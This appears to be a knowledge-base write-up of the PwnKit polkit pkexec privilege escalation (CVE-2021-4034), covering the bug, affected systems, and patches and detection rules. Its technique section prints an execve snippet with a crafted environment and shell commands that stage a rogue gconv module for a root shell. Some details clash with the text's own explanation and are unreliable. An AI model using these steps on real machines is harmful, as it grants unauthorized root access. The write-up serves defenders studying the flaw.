PwnKit — polkit pkexec (CVE-2021-4034)

PwnKit — polkit pkexec (CVE-2021-4034)

TL;DR: pkexec reads past argv into envp when invoked with argc == 0, letting any local user smuggle a controlled environment variable into a SUID process and load a rogue gconv module as root.

What it is

Qualys published this in January 2022 after auditing polkit’s pkexec helper. The bug had sat in the source since the binary was introduced in 2009. pkexec iterates argv[1..argc] to find a command, but when argc is zero it reads argv[1] anyway — which on Linux overlaps the first envp entry. It then writes a sanitized path string back through that pointer, corrupting the environment after the SUID binary has already cleared dangerous env vars. By pre-seeding the environment with GCONV_PATH=., the attacker convinces glibc’s character-set conversion machinery to dlopen a shared object the attacker controls — as root.

Preconditions / where it applies

  • Any Linux distro shipping polkit < 0.120 with /usr/bin/pkexec setuid-root (Ubuntu 14.04+, Debian 8+, RHEL/CentOS 6+, Fedora, SUSE, Arch)
  • Local unprivileged shell — no network exposure
  • Works in default installs; no special groups required
  • Patched in polkit 0.120 and distro-backported updates from late January 2022

Technique

The exploit calls execve with argv = NULL and a crafted env, then waits for pkexec to mishandle iconv:

1
2
3
4
5
6
7
8
9
char *const argv[] = { NULL };
char *const envp[] = {
    "pwnkit",                                   // becomes argv[0] via overlap
    "PATH=GCONV_PATH=.",                        // gets sanitized into the env
    "CHARSET=PWNKIT",                           // triggers iconv lookup
    "SHELL=pwnkit",
    NULL
};
execve("/usr/bin/pkexec", argv, envp);

Alongside this you drop a gconv-modules file and a payload .so in a writable directory whose name matches the path pkexec resolves after sanitisation:

1
2
3
4
5
$ mkdir -p "GCONV_PATH=." "pwnkit"
$ cat > "GCONV_PATH=./gconv-modules" <<EOF
module  PWNKIT//  INTERNAL  ../payload  1
EOF
$ gcc -shared -fPIC -o pwnkit/payload.so payload.c

When pkexec calls g_printerr() → glibc iconv to render its own error message, glibc dlopen()s payload.so while still EUID 0. The payload typically setuid(0); execve("/bin/sh", ...).

Detection and defence

  • Upgrade polkit to 0.120+ or apply distro patches (USN-5252, DSA-5059, RHSA-2022:0274)
  • Stopgap: chmod 0755 /usr/bin/pkexec removes the SUID bit and blocks the bug at the cost of breaking polkit-driven privilege prompts
  • auditd: -w /usr/bin/pkexec -p x -k pkexec and alert when followed by execve with argc == 0, or when pkexec dlopens a path under a user-writable directory
  • SELinux on RHEL targeted policy denies the dlopen by default in xguest_t and user_t since the policy update
  • eBPF: hook sys_execve and flag invocations where the syscall’s argv pointer is NULL but the target is SUID

References

See also: suid-sgid-binaries, linux-privesc-vectors, ld-preload-abuse.